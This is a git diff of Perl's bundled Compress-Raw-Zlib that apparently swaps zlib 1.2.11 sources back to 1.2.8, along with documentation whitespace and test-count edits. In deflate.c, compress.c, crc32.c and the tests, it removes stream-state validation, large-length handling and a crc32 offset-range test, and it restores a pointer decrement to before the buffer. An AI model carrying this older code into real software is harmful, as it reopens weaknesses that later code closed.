($i, $status) = new Compress::Raw::Zlib::Inflate( [OPT] ) > -Initialises an inflation object. +Initialises an inflation object. In a list context it returns the inflation object, C<$i>, and the I status code (C<$status>). In a scalar context it returns the @@ -1049,7 +1049,7 @@ This option defaults to true. The C option changes the behavior of the C<< $i->inflate >> method so that the amount of memory used by the output buffer can be -limited. +limited. When C is used the size of the output buffer used will either be the value of the C option or the amount of memory already @@ -1082,7 +1082,7 @@ data to C<$output>. The C<$input> and C<$output> parameters can either be scalars or scalar references. Returns C if successful and C if the end of the -compressed data has been successfully reached. +compressed data has been successfully reached. If not successful C<$status> will hold the I error code. @@ -1104,7 +1104,7 @@ this object, the uncompressed data will be appended to C<$output>. If it is false, C<$output> will be truncated before any uncompressed data is written to it. -The C<$eof> parameter needs a bit of explanation. +The C<$eof> parameter needs a bit of explanation. Prior to version 1.2.0, zlib assumed that there was at least one trailing byte immediately after the compressed data stream when it was carrying out @@ -1118,7 +1118,7 @@ conditions apply =over 5 -=item 1 +=item 1 You are either using a copy of zlib that is older than version 1.2.0 or you want your application code to be able to run with as many different @@ -1137,7 +1137,7 @@ There is no data immediately after the compressed data stream. =back If B of these are the case, then you need to set the C<$eof> parameter -to true on the final call (and only the final call) to C<$i-Einflate>. +to true on the final call (and only the final call) to C<$i-Einflate>. If you have built this module with zlib >= 1.2.0, the C<$eof> parameter is ignored. You can still set it if you want, but it won't be used behind the @@ -1166,7 +1166,7 @@ was created by calling C with C. This method will reset the inflation object C<$i>. It can be used when you are uncompressing multiple data streams and want to use the same object to -uncompress each of them. +uncompress each of them. Returns C if successful. @@ -1304,14 +1304,14 @@ Returns the version of the zlib library. =head2 my $flags = Compress::Raw::Zlib::zlibCompileFlags(); -Returns the flags indicating compile-time options that were used to build +Returns the flags indicating compile-time options that were used to build the zlib library. See the zlib documentation for a description of the flags returned by C. Note that when the zlib sources are built along with this module the C flags (bits 24, 25 and 26) should be ignored. -If you are using zlib 1.2.0 or older, C will return 0. +If you are using zlib 1.2.0 or older, C will return 0. =head1 The LimitOutput option. @@ -1345,7 +1345,7 @@ source and uncompressing as you go the code will look something like this die "inflation failed\n" unless $status == Z_STREAM_END ; -The points to note are +The points to note are =over 5 @@ -1377,7 +1377,7 @@ compressed data stream contains the same pattern repeated thousands of times, a relatively small compressed data stream can uncompress into hundreds of megabytes. Remember C will keep allocating memory until I the uncompressed data has been written to the output buffer - -the size of C<$output> is unbounded. +the size of C<$output> is unbounded. The C option is designed to help with this use-case. @@ -1567,7 +1567,7 @@ L, L, L, L -For RFC 1950, 1951 and 1952 see +For RFC 1950, 1951 and 1952 see L, L and L @@ -1582,7 +1582,7 @@ The primary site for gzip is L. =head1 AUTHOR -This module was written by Paul Marquess, C. +This module was written by Paul Marquess, C. =head1 MODIFICATION HISTORY diff --git a/cpan/Compress-Raw-Zlib/t/02zlib.t b/cpan/Compress-Raw-Zlib/t/02zlib.t index d7cd513af1e0..5d024a970cb9 100644 --- a/cpan/Compress-Raw-Zlib/t/02zlib.t +++ b/cpan/Compress-Raw-Zlib/t/02zlib.t @@ -24,13 +24,13 @@ BEGIN my $count = 0 ; if ($] < 5.005) { - $count = 237 ; + $count = 232 ; } elsif ($] >= 5.006) { - $count = 325 ; + $count = 320 ; } else { - $count = 280 ; + $count = 275 ; } plan tests => $count + $extra; @@ -947,33 +947,6 @@ SKIP: is $X, "", "no output from second flush"; } -{ - title "crc32"; - - is eval('Compress::Raw::Zlib::crc32("A" x 0x100, 0, 0x100); 0x1234'), 0x1234; - is $@, ''; - - is eval('Compress::Raw::Zlib::crc32("A" x 0x100, 0, 0x101); 0x1234'), undef; - like $@, mkErr("^Offset out of range in Compress::Raw::Zlib::crc32") ; - -} - -if (0) -{ - title "RT #122695: sync flush appending extra empty uncompressed block"; - - my $hello = "I am a HAL 9000 computer" ; - my ($err, $x, $X, $status); - - ok( ($x, $err) = new Compress::Raw::Zlib::Deflate ( ), "Create deflate object" ); - isa_ok $x, "Compress::Raw::Zlib::deflateStream" ; - cmp_ok $err, '==', Z_OK, "status is Z_OK" ; - - cmp_ok $x->flush($X, Z_SYNC_FLUSH), '==', Z_OK, "flush returned Z_OK" ; - cmp_ok $x->flush($X, Z_SYNC_FLUSH), '==', Z_OK, "second flush returned Z_OK" ; - is $X, "", "no output from second flush"; -} - exit if $] < 5.006 ; title 'Looping Append test with substr output - substr the end of the string'; diff --git a/cpan/Compress-Raw-Zlib/typemap b/cpan/Compress-Raw-Zlib/typemap index 36fce4aa94f0..6d426e13f67a 100644 --- a/cpan/Compress-Raw-Zlib/typemap +++ b/cpan/Compress-Raw-Zlib/typemap @@ -15,8 +15,7 @@ const char * T_PV char * T_PV uLong T_UV z_off_t T_UV -STRLEN T_UV -DualType T_DUAL +DualType T_DUAL int_undef T_IV_undef diff --git a/cpan/Compress-Raw-Zlib/zlib-src/adler32.c b/cpan/Compress-Raw-Zlib/zlib-src/adler32.c index be5e8a2474ef..82a84ceed2b9 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/adler32.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/adler32.c @@ -1,5 +1,5 @@ /* adler32.c -- compute the Adler-32 checksum of a data stream - * Copyright (C) 1995-2011, 2016 Mark Adler + * Copyright (C) 1995-2011 Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -7,9 +7,11 @@ #include "zutil.h" +#define local static + local uLong adler32_combine_ OF((uLong adler1, uLong adler2, z_off64_t len2)); -#define BASE 65521U /* largest prime smaller than 65536 */ +#define BASE 65521 /* largest prime smaller than 65536 */ #define NMAX 5552 /* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */ @@ -60,10 +62,10 @@ local uLong adler32_combine_ OF((uLong adler1, uLong adler2, z_off64_t len2)); #endif /* ========================================================================= */ -uLong ZEXPORT adler32_z( +uLong ZEXPORT adler32( uLong adler, const Bytef *buf, - z_size_t len) + uInt len) { unsigned long sum2; unsigned n; @@ -130,15 +132,6 @@ uLong ZEXPORT adler32_z( return adler | (sum2 << 16); } -/* ========================================================================= */ -uLong ZEXPORT adler32( - uLong adler, - const Bytef *buf, - uInt len) -{ - return adler32_z(adler, buf, len); -} - /* ========================================================================= */ local uLong adler32_combine_( uLong adler1, @@ -163,7 +156,7 @@ local uLong adler32_combine_( sum2 += ((adler1 >> 16) & 0xffff) + ((adler2 >> 16) & 0xffff) + BASE - rem; if (sum1 >= BASE) sum1 -= BASE; if (sum1 >= BASE) sum1 -= BASE; - if (sum2 >= ((unsigned long)BASE << 1)) sum2 -= ((unsigned long)BASE << 1); + if (sum2 >= (BASE << 1)) sum2 -= (BASE << 1); if (sum2 >= BASE) sum2 -= BASE; return sum1 | (sum2 << 16); } diff --git a/cpan/Compress-Raw-Zlib/zlib-src/compress.c b/cpan/Compress-Raw-Zlib/zlib-src/compress.c index cfb13c9e1572..0314fbc61a32 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/compress.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/compress.c @@ -1,5 +1,5 @@ /* compress.c -- compress a memory buffer - * Copyright (C) 1995-2005, 2014, 2016 Jean-loup Gailly, Mark Adler + * Copyright (C) 1995-2005 Jean-loup Gailly. * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -28,11 +28,16 @@ int ZEXPORT compress2 ( { z_stream stream; int err; - const uInt max = (uInt)-1; - uLong left; - left = *destLen; - *destLen = 0; + stream.next_in = (z_const Bytef *)source; + stream.avail_in = (uInt)sourceLen; +#ifdef MAXSEG_64K + /* Check for source > 64K on 16-bit machine: */ + if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; +#endif + stream.next_out = dest; + stream.avail_out = (uInt)*destLen; + if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; stream.zalloc = (alloc_func)0; stream.zfree = (free_func)0; @@ -41,26 +46,15 @@ int ZEXPORT compress2 ( err = deflateInit(&stream, level); if (err != Z_OK) return err; - stream.next_out = dest; - stream.avail_out = 0; - stream.next_in = (z_const Bytef *)source; - stream.avail_in = 0; - - do { - if (stream.avail_out == 0) { - stream.avail_out = left > (uLong)max ? max : (uInt)left; - left -= stream.avail_out; - } - if (stream.avail_in == 0) { - stream.avail_in = sourceLen > (uLong)max ? max : (uInt)sourceLen; - sourceLen -= stream.avail_in; - } - err = deflate(&stream, sourceLen ? Z_NO_FLUSH : Z_FINISH); - } while (err == Z_OK); - + err = deflate(&stream, Z_FINISH); + if (err != Z_STREAM_END) { + deflateEnd(&stream); + return err == Z_OK ? Z_BUF_ERROR : err; + } *destLen = stream.total_out; - deflateEnd(&stream); - return err == Z_STREAM_END ? Z_OK : err; + + err = deflateEnd(&stream); + return err; } /* =========================================================================== diff --git a/cpan/Compress-Raw-Zlib/zlib-src/crc32.c b/cpan/Compress-Raw-Zlib/zlib-src/crc32.c index 3e3eb1794748..f0072c94bf94 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/crc32.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/crc32.c @@ -1,5 +1,5 @@ /* crc32.c -- compute the CRC-32 of a data stream - * Copyright (C) 1995-2006, 2010, 2011, 2012, 2016 Mark Adler + * Copyright (C) 1995-2006, 2010, 2011, 2012 Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h * * Thanks to Rodney Brown for his contribution of faster @@ -30,15 +30,17 @@ #include "zutil.h" /* for STDC and FAR definitions */ +#define local static + /* Definitions for doing the crc four data bytes at a time. */ #if !defined(NOBYFOUR) && defined(Z_U4) # define BYFOUR #endif #ifdef BYFOUR local unsigned long crc32_little OF((unsigned long, - const unsigned char FAR *, z_size_t)); + const unsigned char FAR *, unsigned)); local unsigned long crc32_big OF((unsigned long, - const unsigned char FAR *, z_size_t)); + const unsigned char FAR *, unsigned)); # define TBLS 8 #else # define TBLS 1 @@ -199,10 +201,10 @@ const z_crc_t FAR * ZEXPORT get_crc_table() #define DO8 DO1; DO1; DO1; DO1; DO1; DO1; DO1; DO1 /* ========================================================================= */ -unsigned long ZEXPORT crc32_z( +unsigned long ZEXPORT crc32( unsigned long crc, const unsigned char FAR *buf, - z_size_t len) + uInt len) { if (buf == Z_NULL) return 0UL; @@ -233,29 +235,8 @@ unsigned long ZEXPORT crc32_z( return crc ^ 0xffffffffUL; } -/* ========================================================================= */ -unsigned long ZEXPORT crc32( - unsigned long crc, - const unsigned char FAR *buf, - uInt len) -{ - return crc32_z(crc, buf, len); -} - #ifdef BYFOUR -/* - This BYFOUR code accesses the passed unsigned char * buffer with a 32-bit - integer pointer type. This violates the strict aliasing rule, where a - compiler can assume, for optimization purposes, that two pointers to - fundamentally different types won't ever point to the same memory. This can - manifest as a problem only if one of the pointers is written to. This code - only reads from those pointers. So long as this code remains isolated in - this compilation unit, there won't be a problem. For this reason, this code - should not be copied and pasted into a compilation unit in which other code - writes to the buffer that is passed to these routines. - */ - /* ========================================================================= */ #define DOLIT4 c ^= *buf4++; \ c = crc_table[3][c & 0xff] ^ crc_table[2][(c >> 8) & 0xff] ^ \ @@ -266,7 +247,7 @@ unsigned long ZEXPORT crc32( local unsigned long crc32_little( unsigned long crc, const unsigned char FAR *buf, - z_size_t len) + unsigned len) { register z_crc_t c; register const z_crc_t FAR *buf4; @@ -297,7 +278,7 @@ local unsigned long crc32_little( } /* ========================================================================= */ -#define DOBIG4 c ^= *buf4++; \ +#define DOBIG4 c ^= *++buf4; \ c = crc_table[4][c & 0xff] ^ crc_table[5][(c >> 8) & 0xff] ^ \ crc_table[6][(c >> 16) & 0xff] ^ crc_table[7][c >> 24] #define DOBIG32 DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4 @@ -306,7 +287,7 @@ local unsigned long crc32_little( local unsigned long crc32_big( unsigned long crc, const unsigned char FAR *buf, - z_size_t len) + unsigned len) { register z_crc_t c; register const z_crc_t FAR *buf4; @@ -319,6 +300,7 @@ local unsigned long crc32_big( } buf4 = (const z_crc_t FAR *)(const void FAR *)buf; + buf4--; while (len >= 32) { DOBIG32; len -= 32; @@ -327,6 +309,7 @@ local unsigned long crc32_big( DOBIG4; len -= 4; } + buf4++; buf = (const unsigned char FAR *)buf4; if (len) do { diff --git a/cpan/Compress-Raw-Zlib/zlib-src/deflate.c b/cpan/Compress-Raw-Zlib/zlib-src/deflate.c index a74194f86f84..3a28aa19cf79 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/deflate.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/deflate.c @@ -1,5 +1,5 @@ /* deflate.c -- compress data using the deflation algorithm - * Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler + * Copyright (C) 1995-2013 Jean-loup Gailly and Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -52,7 +52,7 @@ #include "deflate.h" const char deflate_copyright[] = - " deflate 1.2.11 Copyright 1995-2017 Jean-loup Gailly and Mark Adler "; + " deflate 1.2.8 Copyright 1995-2013 Jean-loup Gailly and Mark Adler "; /* If you use the zlib library in a product, an acknowledgment is welcome in the documentation of your product. If for some reason you cannot @@ -73,8 +73,6 @@ typedef enum { typedef block_state (*compress_func) OF((deflate_state *s, int flush)); /* Compression function. Returns the block state after the call. */ -local int deflateStateCheck OF((z_streamp strm)); -local void slide_hash OF((deflate_state *s)); local void fill_window OF((deflate_state *s)); local block_state deflate_stored OF((deflate_state *s, int flush)); local block_state deflate_fast OF((deflate_state *s, int flush)); @@ -86,16 +84,15 @@ local block_state deflate_huff OF((deflate_state *s, int flush)); local void lm_init OF((deflate_state *s)); local void putShortMSB OF((deflate_state *s, uInt b)); local void flush_pending OF((z_streamp strm)); -local unsigned read_buf OF((z_streamp strm, Bytef *buf, unsigned size)); +local int read_buf OF((z_streamp strm, Bytef *buf, unsigned size)); #ifdef ASMV -# pragma message("Assembler code may have bugs -- use at your own risk") void match_init OF((void)); /* asm code initialization */ uInt longest_match OF((deflate_state *s, IPos cur_match)); #else local uInt longest_match OF((deflate_state *s, IPos cur_match)); #endif -#ifdef ZLIB_DEBUG +#ifdef DEBUG local void check_match OF((deflate_state *s, IPos start, IPos match, int length)); #endif @@ -151,14 +148,21 @@ local const config configuration_table[10] = { * meaning. */ +#define EQUAL 0 +/* result of memcmp for equal strings */ + +#ifndef NO_DUMMY_DECL +struct static_tree_desc_s {int dummy;}; /* for buggy compilers */ +#endif + /* rank Z_BLOCK between Z_NO_FLUSH and Z_PARTIAL_FLUSH */ #define RANK(f) (((f) * 2) - ((f) > 4 ? 9 : 0)) /* =========================================================================== * Update a hash value with the given input byte - * IN assertion: all calls to UPDATE_HASH are made with consecutive input - * characters, so that a running hash key can be computed from the previous - * key instead of complete recalculation each time. + * IN assertion: all calls to to UPDATE_HASH are made with consecutive + * input characters, so that a running hash key can be computed from the + * previous key instead of complete recalculation each time. */ #define UPDATE_HASH(s,h,c) (h = (((h)<hash_shift) ^ (c)) & s->hash_mask) @@ -169,9 +173,9 @@ local const config configuration_table[10] = { * the previous length of the hash chain. * If this file is compiled with -DFASTEST, the compression level is forced * to 1, and no hash chains are maintained. - * IN assertion: all calls to INSERT_STRING are made with consecutive input - * characters and the first MIN_MATCH bytes of str are valid (except for - * the last MIN_MATCH-1 bytes of the input file). + * IN assertion: all calls to to INSERT_STRING are made with consecutive + * input characters and the first MIN_MATCH bytes of str are valid + * (except for the last MIN_MATCH-1 bytes of the input file). */ #ifdef FASTEST #define INSERT_STRING(s, str, match_head) \ @@ -193,37 +197,6 @@ local const config configuration_table[10] = { s->head[s->hash_size-1] = NIL; \ zmemzero((Bytef *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head)); -/* =========================================================================== - * Slide the hash table when sliding the window down (could be avoided with 32 - * bit values at the expense of memory usage). We slide even when level == 0 to - * keep the hash table consistent if we switch back to level > 0 later. - */ -local void slide_hash( - deflate_state *s) -{ - unsigned n, m; - Posf *p; - uInt wsize = s->w_size; - - n = s->hash_size; - p = &s->head[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m - wsize : NIL); - } while (--n); - n = wsize; -#ifndef FASTEST - p = &s->prev[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m - wsize : NIL); - /* If n is not on any hash chain, prev[n] is garbage but - * its value will never be used. - */ - } while (--n); -#endif -} - /* ========================================================================= */ int ZEXPORT deflateInit_( z_streamp strm, @@ -296,7 +269,7 @@ int ZEXPORT deflateInit2_( #endif if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || windowBits < 8 || windowBits > 15 || level < 0 || level > 9 || - strategy < 0 || strategy > Z_FIXED || (windowBits == 8 && wrap != 1)) { + strategy < 0 || strategy > Z_FIXED) { return Z_STREAM_ERROR; } if (windowBits == 8) windowBits = 9; /* until 256-byte window bug fixed */ @@ -304,15 +277,14 @@ int ZEXPORT deflateInit2_( if (s == Z_NULL) return Z_MEM_ERROR; strm->state = (struct internal_state FAR *)s; s->strm = strm; - s->status = INIT_STATE; /* to pass state test in deflateReset() */ s->wrap = wrap; s->gzhead = Z_NULL; - s->w_bits = (uInt)windowBits; + s->w_bits = windowBits; s->w_size = 1 << s->w_bits; s->w_mask = s->w_size - 1; - s->hash_bits = (uInt)memLevel + 7; + s->hash_bits = memLevel + 7; s->hash_size = 1 << s->hash_bits; s->hash_mask = s->hash_size - 1; s->hash_shift = ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH); @@ -346,31 +318,6 @@ int ZEXPORT deflateInit2_( return deflateReset(strm); } -/* ========================================================================= - * Check for a valid deflate stream state. Return 0 if ok, 1 if not. - */ -local int deflateStateCheck ( - z_streamp strm) -{ - deflate_state *s; - if (strm == Z_NULL || - strm->zalloc == (alloc_func)0 || strm->zfree == (free_func)0) - return 1; - s = strm->state; - if (s == Z_NULL || s->strm != strm || (s->status != INIT_STATE && -#ifdef GZIP - s->status != GZIP_STATE && -#endif - s->status != EXTRA_STATE && - s->status != NAME_STATE && - s->status != COMMENT_STATE && - s->status != HCRC_STATE && - s->status != BUSY_STATE && - s->status != FINISH_STATE)) - return 1; - return 0; -} - /* ========================================================================= */ int ZEXPORT deflateSetDictionary ( z_streamp strm, @@ -383,7 +330,7 @@ int ZEXPORT deflateSetDictionary ( unsigned avail; z_const unsigned char *next; - if (deflateStateCheck(strm) || dictionary == Z_NULL) + if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL) return Z_STREAM_ERROR; s = strm->state; wrap = s->wrap; @@ -440,35 +387,14 @@ int ZEXPORT deflateSetDictionary ( return Z_OK; } -/* ========================================================================= */ -int ZEXPORT deflateGetDictionary ( - z_streamp strm, - Bytef *dictionary, - uInt *dictLength) -{ - deflate_state *s; - uInt len; - - if (deflateStateCheck(strm)) - return Z_STREAM_ERROR; - s = strm->state; - len = s->strstart + s->lookahead; - if (len > s->w_size) - len = s->w_size; - if (dictionary != Z_NULL && len) - zmemcpy(dictionary, s->window + s->strstart + s->lookahead - len, len); - if (dictLength != Z_NULL) - *dictLength = len; - return Z_OK; -} - /* ========================================================================= */ int ZEXPORT deflateResetKeep ( z_streamp strm) { deflate_state *s; - if (deflateStateCheck(strm)) { + if (strm == Z_NULL || strm->state == Z_NULL || + strm->zalloc == (alloc_func)0 || strm->zfree == (free_func)0) { return Z_STREAM_ERROR; } @@ -483,11 +409,7 @@ int ZEXPORT deflateResetKeep ( if (s->wrap < 0) { s->wrap = -s->wrap; /* was made negative by deflate(..., Z_FINISH); */ } - s->status = -#ifdef GZIP - s->wrap == 2 ? GZIP_STATE : -#endif - s->wrap ? INIT_STATE : BUSY_STATE; + s->status = s->wrap ? INIT_STATE : BUSY_STATE; strm->adler = #ifdef GZIP s->wrap == 2 ? crc32(0L, Z_NULL, 0) : @@ -517,8 +439,8 @@ int ZEXPORT deflateSetHeader ( z_streamp strm, gz_headerp head) { - if (deflateStateCheck(strm) || strm->state->wrap != 2) - return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; + if (strm->state->wrap != 2) return Z_STREAM_ERROR; strm->state->gzhead = head; return Z_OK; } @@ -529,7 +451,7 @@ int ZEXPORT deflatePending ( unsigned *pending, int *bits) { - if (deflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; if (pending != Z_NULL) *pending = strm->state->pending; if (bits != Z_NULL) @@ -546,7 +468,7 @@ int ZEXPORT deflatePrime ( deflate_state *s; int put; - if (deflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; s = strm->state; if ((Bytef *)(s->d_buf) < s->pending_out + ((Buf_size + 7) >> 3)) return Z_BUF_ERROR; @@ -571,8 +493,9 @@ int ZEXPORT deflateParams( { deflate_state *s; compress_func func; + int err = Z_OK; - if (deflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; s = strm->state; #ifdef FASTEST @@ -586,22 +509,13 @@ int ZEXPORT deflateParams( func = configuration_table[s->level].func; if ((strategy != s->strategy || func != configuration_table[level].func) && - s->high_water) { + strm->total_in != 0) { /* Flush the last buffer: */ - int err = deflate(strm, Z_BLOCK); - if (err == Z_STREAM_ERROR) - return err; - if (strm->avail_out == 0) - return Z_BUF_ERROR; + err = deflate(strm, Z_BLOCK); + if (err == Z_BUF_ERROR && s->pending == 0) + err = Z_OK; } if (s->level != level) { - if (s->level == 0 && s->matches != 0) { - if (s->matches == 1) - slide_hash(s); - else - CLEAR_HASH(s); - s->matches = 0; - } s->level = level; s->max_lazy_match = configuration_table[level].max_lazy; s->good_match = configuration_table[level].good_length; @@ -609,7 +523,7 @@ int ZEXPORT deflateParams( s->max_chain_length = configuration_table[level].max_chain; } s->strategy = strategy; - return Z_OK; + return err; } /* ========================================================================= */ @@ -622,12 +536,12 @@ int ZEXPORT deflateTune( { deflate_state *s; - if (deflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; s = strm->state; - s->good_match = (uInt)good_length; - s->max_lazy_match = (uInt)max_lazy; + s->good_match = good_length; + s->max_lazy_match = max_lazy; s->nice_match = nice_length; - s->max_chain_length = (uInt)max_chain; + s->max_chain_length = max_chain; return Z_OK; } @@ -654,13 +568,14 @@ uLong ZEXPORT deflateBound( { deflate_state *s; uLong complen, wraplen; + Bytef *str; /* conservative upper bound for compressed data */ complen = sourceLen + ((sourceLen + 7) >> 3) + ((sourceLen + 63) >> 6) + 5; /* if can't get parameters, return conservative bound plus zlib wrapper */ - if (deflateStateCheck(strm)) + if (strm == Z_NULL || strm->state == Z_NULL) return complen + 6; /* compute wrapper length */ @@ -672,11 +587,9 @@ uLong ZEXPORT deflateBound( case 1: /* zlib wrapper */ wraplen = 6 + (s->strstart ? 4 : 0); break; -#ifdef GZIP case 2: /* gzip wrapper */ wraplen = 18; if (s->gzhead != Z_NULL) { /* user-supplied gzip header */ - Bytef *str; if (s->gzhead->extra != Z_NULL) wraplen += 2 + s->gzhead->extra_len; str = s->gzhead->name; @@ -693,7 +606,6 @@ uLong ZEXPORT deflateBound( wraplen += 2; } break; -#endif default: /* for compiler happiness */ wraplen = 6; } @@ -721,10 +633,10 @@ local void putShortMSB ( } /* ========================================================================= - * Flush as much pending output as possible. All deflate() output, except for - * some deflate_stored() output, goes through this function so some - * applications may wish to modify it to avoid allocating a large - * strm->next_out buffer and copying into it. (See also read_buf()). + * Flush as much pending output as possible. All deflate() output goes + * through this function so some applications may wish to modify it + * to avoid allocating a large strm->next_out buffer and copying into it. + * (See also read_buf()). */ local void flush_pending( z_streamp strm) @@ -741,23 +653,13 @@ local void flush_pending( strm->next_out += len; s->pending_out += len; strm->total_out += len; - strm->avail_out -= len; - s->pending -= len; + strm->avail_out -= len; + s->pending -= len; if (s->pending == 0) { s->pending_out = s->pending_buf; } } -/* =========================================================================== - * Update the header CRC with the bytes s->pending_buf[beg..s->pending - 1]. - */ -#define HCRC_UPDATE(beg) \ - do { \ - if (s->gzhead->hcrc && s->pending > (beg)) \ - strm->adler = crc32(strm->adler, s->pending_buf + (beg), \ - s->pending - (beg)); \ - } while (0) - /* ========================================================================= */ int ZEXPORT deflate ( z_streamp strm, @@ -766,229 +668,230 @@ int ZEXPORT deflate ( int old_flush; /* value of flush param for previous deflate call */ deflate_state *s; - if (deflateStateCheck(strm) || flush > Z_BLOCK || flush < 0) { + if (strm == Z_NULL || strm->state == Z_NULL || + flush > Z_BLOCK || flush < 0) { return Z_STREAM_ERROR; } s = strm->state; if (strm->next_out == Z_NULL || - (strm->avail_in != 0 && strm->next_in == Z_NULL) || + (strm->next_in == Z_NULL && strm->avail_in != 0) || (s->status == FINISH_STATE && flush != Z_FINISH)) { ERR_RETURN(strm, Z_STREAM_ERROR); } if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR); + s->strm = strm; /* just in case */ old_flush = s->last_flush; s->last_flush = flush; - /* Flush as much pending output as possible */ - if (s->pending != 0) { - flush_pending(strm); - if (strm->avail_out == 0) { - /* Since avail_out is 0, deflate will be called again with - * more output space, but possibly with both pending and - * avail_in equal to zero. There won't be anything to do, - * but this is not an error situation so make sure we - * return OK instead of BUF_ERROR at next call of deflate: - */ - s->last_flush = -1; - return Z_OK; - } - - /* Make sure there is something to do and avoid duplicate consecutive - * flushes. For repeated and useless calls with Z_FINISH, we keep - * returning Z_STREAM_END instead of Z_BUF_ERROR. - */ - } else if (strm->avail_in == 0 && RANK(flush) <= RANK(old_flush) && - flush != Z_FINISH) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - - /* User must not provide more input after the first FINISH: */ - if (s->status == FINISH_STATE && strm->avail_in != 0) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - /* Write the header */ if (s->status == INIT_STATE) { - /* zlib header */ - uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8; - uInt level_flags; - - if (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2) - level_flags = 0; - else if (s->level < 6) - level_flags = 1; - else if (s->level == 6) - level_flags = 2; - else - level_flags = 3; - header |= (level_flags << 6); - if (s->strstart != 0) header |= PRESET_DICT; - header += 31 - (header % 31); - - putShortMSB(s, header); - - /* Save the adler32 of the preset dictionary: */ - if (s->strstart != 0) { - putShortMSB(s, (uInt)(strm->adler >> 16)); - putShortMSB(s, (uInt)(strm->adler & 0xffff)); +#ifdef GZIP + if (s->wrap == 2) { + strm->adler = crc32(0L, Z_NULL, 0); + put_byte(s, 31); + put_byte(s, 139); + put_byte(s, 8); + if (s->gzhead == Z_NULL) { + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, s->level == 9 ? 2 : + (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2 ? + 4 : 0)); + put_byte(s, OS_CODE); + s->status = BUSY_STATE; + } + else { + put_byte(s, (s->gzhead->text ? 1 : 0) + + (s->gzhead->hcrc ? 2 : 0) + + (s->gzhead->extra == Z_NULL ? 0 : 4) + + (s->gzhead->name == Z_NULL ? 0 : 8) + + (s->gzhead->comment == Z_NULL ? 0 : 16) + ); + put_byte(s, (Byte)(s->gzhead->time & 0xff)); + put_byte(s, (Byte)((s->gzhead->time >> 8) & 0xff)); + put_byte(s, (Byte)((s->gzhead->time >> 16) & 0xff)); + put_byte(s, (Byte)((s->gzhead->time >> 24) & 0xff)); + put_byte(s, s->level == 9 ? 2 : + (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2 ? + 4 : 0)); + put_byte(s, s->gzhead->os & 0xff); + if (s->gzhead->extra != Z_NULL) { + put_byte(s, s->gzhead->extra_len & 0xff); + put_byte(s, (s->gzhead->extra_len >> 8) & 0xff); + } + if (s->gzhead->hcrc) + strm->adler = crc32(strm->adler, s->pending_buf, + s->pending); + s->gzindex = 0; + s->status = EXTRA_STATE; + } } - strm->adler = adler32(0L, Z_NULL, 0); - s->status = BUSY_STATE; + else +#endif + { + uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8; + uInt level_flags; + + if (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2) + level_flags = 0; + else if (s->level < 6) + level_flags = 1; + else if (s->level == 6) + level_flags = 2; + else + level_flags = 3; + header |= (level_flags << 6); + if (s->strstart != 0) header |= PRESET_DICT; + header += 31 - (header % 31); - /* Compression must start with an empty pending buffer */ - flush_pending(strm); - if (s->pending != 0) { - s->last_flush = -1; - return Z_OK; - } - } -#ifdef GZIP - if (s->status == GZIP_STATE) { - /* gzip header */ - strm->adler = crc32(0L, Z_NULL, 0); - put_byte(s, 31); - put_byte(s, 139); - put_byte(s, 8); - if (s->gzhead == Z_NULL) { - put_byte(s, 0); - put_byte(s, 0); - put_byte(s, 0); - put_byte(s, 0); - put_byte(s, 0); - put_byte(s, s->level == 9 ? 2 : - (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2 ? - 4 : 0)); - put_byte(s, OS_CODE); s->status = BUSY_STATE; + putShortMSB(s, header); - /* Compression must start with an empty pending buffer */ - flush_pending(strm); - if (s->pending != 0) { - s->last_flush = -1; - return Z_OK; - } - } - else { - put_byte(s, (s->gzhead->text ? 1 : 0) + - (s->gzhead->hcrc ? 2 : 0) + - (s->gzhead->extra == Z_NULL ? 0 : 4) + - (s->gzhead->name == Z_NULL ? 0 : 8) + - (s->gzhead->comment == Z_NULL ? 0 : 16) - ); - put_byte(s, (Byte)(s->gzhead->time & 0xff)); - put_byte(s, (Byte)((s->gzhead->time >> 8) & 0xff)); - put_byte(s, (Byte)((s->gzhead->time >> 16) & 0xff)); - 